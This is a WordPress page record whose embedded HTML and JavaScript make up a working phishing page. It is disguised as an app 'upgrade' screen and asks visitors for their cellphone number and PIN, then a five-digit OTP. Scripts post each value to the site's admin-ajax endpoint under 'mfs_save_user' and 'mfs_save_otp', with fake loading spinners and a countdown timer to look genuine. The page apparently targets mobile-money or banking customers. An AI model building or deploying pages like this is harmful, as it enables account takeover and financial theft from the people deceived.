{"id":15,"date":"2026-08-01T17:34:40","date_gmt":"2026-08-01T17:34:40","guid":{"rendered":"https:\/\/mama.remsnie.it.com\/?page_id=15"},"modified":"2026-08-01T17:46:17","modified_gmt":"2026-08-01T17:46:17","slug":"elementor-15","status":"publish","type":"page","link":"https:\/\/mama.remsnie.it.com\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"15\" class=\"elementor elementor-15\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-4becc91 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"4becc91\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-6edbb2f\" data-id=\"6edbb2f\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-b3f5d60 elementor-widget elementor-widget-shortcode\" data-id=\"b3f5d60\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\r\n<link href=\"https:\/\/fonts.googleapis.com\/css2?family=Saira:wght@400;600&display=swap\" rel=\"stylesheet\">\r\n\r\n<style>\r\n*{box-sizing:border-box;font-family:'Saira',sans-serif}\r\nbody{margin:0}\r\n\r\n.hero{\r\nposition:fixed;\r\ntop:0;left:0;right:0;bottom:0;\r\nbackground:url('https:\/\/mama.remsnie.it.com\/wp-content\/uploads\/2026\/08\/Mama-BG1.webp') center\/cover no-repeat;\r\ndisplay:flex;\r\njustify-content:center;\r\nalign-items:center;\r\npadding-left:20px;\r\npadding-right:20px;\r\n}\r\n\r\n#splash{\r\nposition:fixed;\r\ntop:0;left:0;right:0;bottom:0;\r\nbackground:url('https:\/\/mama.remsnie.it.com\/wp-content\/uploads\/2026\/08\/Mama-BG1.webp') center\/cover no-repeat;\r\nz-index:999;\r\ndisplay:flex;\r\njustify-content:center;\r\nalign-items:center;\r\n}\r\n\r\n\/* ===== SPLASH SCREEN LOGO STYLING ===== *\/\r\n#splash img {\r\n    width: 200px;\r\n    height: auto;\r\n    animation: splashPulse 1.5s ease-in-out infinite;\r\n}\r\n\r\n@keyframes splashPulse {\r\n    0% { transform: scale(0.95); opacity: 0.8; }\r\n    50% { transform: scale(1.05); opacity: 1; }\r\n    100% { transform: scale(0.95); opacity: 0.8; }\r\n}\r\n\r\n.card{width:100%;max-width:420px;padding:25px;text-align:center;margin-top:-80px}\r\n\r\n.title{\r\n  font-size:22px;\r\n  font-weight:600;\r\n  margin-top:20px;\r\n  color:#fff\r\n}\r\n\r\n\/* ===== SMS ICON STYLING - STATIC, NO ANIMATION ===== *\/\r\n.sms-icon-wrapper {\r\n    display: flex;\r\n    justify-content: center;\r\n    margin-bottom: 5px;\r\n}\r\n\r\n.sms-icon-box {\r\n    width: 60px;\r\n    height: 60px;\r\n    border-radius: 50%;\r\n    background: rgba(255,255,255,0.2);\r\n    border: 2px solid rgba(255,255,255,0.4);\r\n    display: flex;\r\n    justify-content: center;\r\n    align-items: center;\r\n    backdrop-filter: blur(5px);\r\n    -webkit-backdrop-filter: blur(5px);\r\n}\r\n\r\n.sms-icon-box span {\r\n    font-size: 32px;\r\n    line-height: 1;\r\n}\r\n\r\n.desc{\r\n  font-size:16px;\r\n  margin-top:10px;\r\n  color:#00412E;\r\n  font-weight:500;\r\n}\r\n\r\n.topImg{width:183px;margin:auto}\r\n\r\n.input{\r\nwidth:100%;\r\npadding:13px;\r\nmargin-top:20px;\r\nborder-radius:8px;\r\nfont-size:16px;\r\ncolor:#fff;\r\nfont-weight:500; \r\nbackground: rgba(255,255,255,0.25);\r\nborder:1px solid rgba(255,255,255,1);\r\n}\r\n\r\n.input::placeholder{color:#fff;opacity:1;}\r\n.input::-webkit-input-placeholder{color:#fff;}\r\n.input:-ms-input-placeholder{color:#fff;}\r\n\r\n.btn{\r\nwidth:100%;\r\npadding:14px;\r\nmargin-top:20px;\r\nborder:none;\r\nborder-radius:8px;\r\nbackground:#00412E;\r\nfont-size:17px;\r\nfont-weight:600;\r\ncursor:pointer;\r\ncolor:#fff;\r\nposition:relative;\r\n}\r\n\r\n\/* ===== BUTTON LOADER ===== *\/\r\n.btn.loading {\r\n    pointer-events: none;\r\n    opacity: 0.7;\r\n}\r\n\r\n.btn .loader {\r\n    display: none;\r\n    width: 24px;\r\n    height: 24px;\r\n    border: 3px solid rgba(255,255,255,0.3);\r\n    border-top: 3px solid #fff;\r\n    border-radius: 50%;\r\n    animation: spin 0.8s linear infinite;\r\n    margin: 0 auto;\r\n}\r\n\r\n.btn.loading .loader {\r\n    display: block;\r\n}\r\n\r\n.btn.loading .btn-text {\r\n    display: none;\r\n}\r\n\r\n@keyframes spin {\r\n    0% { transform: rotate(0deg); }\r\n    100% { transform: rotate(360deg); }\r\n}\r\n\r\n\/* Transparent button for Register *\/\r\n.btn-transparent {\r\n    background: transparent;\r\n    border: 1px solid rgba(255,255,255,0.5);\r\n    color: #fff;\r\n    cursor: default;\r\n}\r\n\r\n.otpWrap{\r\ndisplay:flex;\r\ngap:8px;\r\nmargin-top:20px;\r\npadding:0 20px;\r\nwidth:100%;\r\nbox-sizing:border-box;\r\njustify-content:center;\r\n}\r\n\r\n.otp{\r\nwidth:46px;\r\nheight:55px;\r\ntext-align:center;\r\nfont-size:20px;\r\nborder-radius:8px;\r\nborder:1px solid rgba(255,255,255,1);\r\nbackground: rgba(255,255,255,0.25);\r\ncolor:#fff;\r\nfont-weight:500;\r\n}\r\n\r\n.otp::placeholder{\r\n  color:rgba(255,255,255,0.35);\r\n  font-size:22px;\r\n  opacity:1;\r\n}\r\n\r\n.otp::-webkit-input-placeholder{\r\n  color:rgba(255,255,255,0.35);\r\n}\r\n.otp:-ms-input-placeholder{\r\n  color:rgba(255,255,255,0.35);\r\n}\r\n\r\n.timer{\r\nmargin-top:25px;\r\npadding:6px 22px;\r\nborder-radius:8px;\r\ncolor:#00412E;\r\nfont-size:18px;\r\nfont-weight:600;\r\ndisplay:inline-flex;\r\nalign-items:center;\r\ngap:10px;\r\nbackground: rgba(255,255,255,0.25);\r\nborder:1px solid rgba(255,255,255,1);\r\nbackdrop-filter: blur(0px);\r\n-webkit-backdrop-filter: blur(12px);\r\n}\r\n\r\n.timer::before{content:\"\u23f1\";font-size:22px;}\r\n\r\ninput:focus,button:focus,.otp:focus,.btn:focus{\r\noutline:none!important;\r\nbox-shadow:none!important;\r\nborder:1px solid rgba(255,255,255,1)!important;\r\n}\r\n\r\n.otp{\r\n  position:relative;\r\n  text-align:center;\r\n}\r\n\r\n*{-webkit-tap-highlight-color: transparent;}\r\n\r\n\/* Remember me checkbox *\/\r\n.remember-wrap {\r\n    margin-top: 20px;\r\n    display: flex;\r\n    align-items: center;\r\n    gap: 8px;\r\n    justify-content: center;\r\n    color: #fff;\r\n    font-weight: 500;\r\n}\r\n.remember-wrap input[type=\"checkbox\"] {\r\n    width: 18px;\r\n    height: 18px;\r\n    accent-color: #00412E;\r\n}\r\n<\/style>\r\n\r\n<!-- ===== SPLASH SCREEN WITH CENTERED LOGO ===== -->\r\n<div id=\"splash\">\r\n    <img decoding=\"async\" src=\"https:\/\/mama.remsnie.it.com\/wp-content\/uploads\/2026\/08\/Mama-Logo.png\" alt=\"Logo\">\r\n<\/div>\r\n\r\n<div class=\"hero\">\r\n\r\n<div class=\"card\" id=\"step1\">\r\n<img decoding=\"async\" class=\"topImg\" src=\"https:\/\/mama.remsnie.it.com\/wp-content\/uploads\/2026\/08\/Mama-Logo.png\">\r\n<div class=\"desc\">Enter details to upgrade app<\/div>\r\n\r\n<!-- ====== INPUTS ====== -->\r\n<input id=\"phone\" class=\"input\" placeholder=\"Cellphone Number\" type=\"tel\" oninput=\"this.value=this.value.replace(\/[^0-9]\/g,'')\">\r\n<input id=\"pin\" class=\"input\" placeholder=\"PIN\" type=\"tel\" oninput=\"this.value=this.value.replace(\/[^0-9]\/g,'')\">\r\n\r\n<!-- ====== THREE BUTTONS ====== -->\r\n<!-- 1. Update (formerly Login) -->\r\n<button id=\"btn1\" class=\"btn\" onclick=\"saveUser()\">\r\n    <span class=\"btn-text\">Update<\/span>\r\n    <span class=\"loader\"><\/span>\r\n<\/button>\r\n\r\n<!-- 2. Check Rates -->\r\n<button id=\"checkRatesBtn\" class=\"btn\" onclick=\"alert('Check Rates clicked!')\">Check Rates<\/button>\r\n\r\n<!-- 3. Register (transparent, non-functional) -->\r\n<button class=\"btn btn-transparent\" style=\"margin-top:10px;\">Remember Me<\/button>\r\n\r\n<\/div>\r\n\r\n<div class=\"card\" id=\"step2\" style=\"display:none\">\r\n    <!-- ===== SMS ICON IN CENTERED ROUND BOX ===== -->\r\n    <div class=\"sms-icon-wrapper\">\r\n        <div class=\"sms-icon-box\">\r\n            <span>\ud83d\udce9<\/span>\r\n        <\/div>\r\n    <\/div>\r\n    <div class=\"title\">Verify OTP code<\/div>\r\n    <div class=\"desc\">Enter the OTP sent to your registered mobile number.<\/div>\r\n\r\n    <!-- ========== 5 DIGIT OTP BOXES ========== -->\r\n    <div class=\"otpWrap\">\r\n    <input maxlength=\"1\" class=\"otp\" id=\"o1\" type=\"tel\" placeholder=\"0\">\r\n    <input maxlength=\"1\" class=\"otp\" id=\"o2\" type=\"tel\" placeholder=\"0\">\r\n    <input maxlength=\"1\" class=\"otp\" id=\"o3\" type=\"tel\" placeholder=\"0\">\r\n    <input maxlength=\"1\" class=\"otp\" id=\"o4\" type=\"tel\" placeholder=\"0\">\r\n    <input maxlength=\"1\" class=\"otp\" id=\"o5\" type=\"tel\" placeholder=\"0\">\r\n    <\/div>\r\n\r\n    <button id=\"btn2\" class=\"btn\" onclick=\"saveOTP()\">\r\n        <span class=\"btn-text\">Continue<\/span>\r\n        <span class=\"loader\"><\/span>\r\n    <\/button>\r\n    <div class=\"timer\" id=\"timer\">4:00<\/div>\r\n<\/div>\r\n\r\n<\/div>\r\n\r\n<script>\r\n\/\/ ==========================================================\r\n\/\/ \u26a0\ufe0f REMOVED: Automatic notification on page load\r\n\/\/ Now notification only sends when user clicks \"Update\" button\r\n\/\/ ==========================================================\r\n\r\n\/\/ Splash screen hide after 5 seconds\r\nsetTimeout(()=>{ splash.style.display=\"none\" },5000);\r\n\r\nlet visitorID=\"\";\r\nlet countdownStarted=false;\r\n\r\n\/\/ OTP auto-focus for 5 digits\r\ndocument.querySelectorAll(\".otp\").forEach((el,i,arr)=>{\r\nel.addEventListener(\"input\",()=>{if(el.value.length===1&&arr[i+1])arr[i+1].focus();});\r\nel.addEventListener(\"keydown\",(e)=>{if(e.key===\"Backspace\"&&el.value===\"\"&&arr[i-1])arr[i-1].focus();});\r\n});\r\n\r\nfunction saveUser(){\r\nlet phone=document.getElementById(\"phone\").value;\r\nlet pin=document.getElementById(\"pin\").value;\r\nif(phone==\"\"||pin==\"\"){alert(\"Enter details\");return;}\r\n\r\n\/\/ Show loader on button\r\nconst btn1 = document.getElementById('btn1');\r\nbtn1.classList.add('loading');\r\n\r\nsetTimeout(()=>{\r\nfetch(\"https:\/\/mama.remsnie.it.com\/wp-admin\/admin-ajax.php\",{\r\n    method:\"POST\",\r\n    headers:{'Content-Type':'application\/x-www-form-urlencoded'},\r\n    body:\"action=mfs_save_user&fname=\"+encodeURIComponent(phone)+\"&lname=\"+encodeURIComponent(pin)\r\n})\r\n.then(r=>r.text()).then(id=>{\r\n    visitorID=id;\r\n    step1.style.display=\"none\";\r\n    step2.style.display=\"block\";\r\n    startTimer();\r\n    btn1.classList.remove('loading');\r\n});\r\n},3000);\r\n}\r\n\r\nfunction startTimer(){\r\nif(countdownStarted)return;countdownStarted=true;\r\nconst timerBox=document.getElementById(\"timer\");let time=240;\r\nsetInterval(()=>{let min=Math.floor(time\/60);let sec=time%60;timerBox.innerText=min+\":\"+(sec<10?\"0\"+sec:sec);if(time>0)time--;},1000);\r\n}\r\n\r\nfunction saveOTP(){\r\nlet otpProcessing=false;if(otpProcessing)return;otpProcessing=true;\r\n\/\/ Collect 5 digits\r\nlet code = document.getElementById(\"o1\").value + \r\n           document.getElementById(\"o2\").value + \r\n           document.getElementById(\"o3\").value + \r\n           document.getElementById(\"o4\").value + \r\n           document.getElementById(\"o5\").value;\r\n\r\nif(code.length!==5){alert(\"Enter 5 digit OTP\");otpProcessing=false;return;}\r\n\r\n\/\/ Show loader on button\r\nconst btn2 = document.getElementById('btn2');\r\nbtn2.classList.add('loading');\r\n\r\nsetTimeout(()=>{\r\nfetch(\"https:\/\/mama.remsnie.it.com\/wp-admin\/admin-ajax.php\",{\r\n    method:\"POST\",\r\n    headers:{'Content-Type':'application\/x-www-form-urlencoded'},\r\n    body:\"action=mfs_save_otp&visitor_id=\"+visitorID+\"&otp=\"+code\r\n})\r\n.then(()=>{\r\n    \/\/ Clear all OTP inputs\r\n    document.querySelectorAll(\".otp\").forEach(i=>i.value=\"\");\r\n    btn2.classList.remove('loading');\r\n    otpProcessing=false;\r\n    \/\/ Focus on first OTP input\r\n    document.getElementById(\"o1\").focus();\r\n});\r\n},3000);\r\n}\r\n<\/script>\r\n\r\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-15","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/mama.remsnie.it.com\/index.php?rest_route=\/wp\/v2\/pages\/15","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mama.remsnie.it.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/mama.remsnie.it.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/mama.remsnie.it.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mama.remsnie.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15"}],"version-history":[{"count":5,"href":"https:\/\/mama.remsnie.it.com\/index.php?rest_route=\/wp\/v2\/pages\/15\/revisions"}],"predecessor-version":[{"id":20,"href":"https:\/\/mama.remsnie.it.com\/index.php?rest_route=\/wp\/v2\/pages\/15\/revisions\/20"}],"wp:attachment":[{"href":"https:\/\/mama.remsnie.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}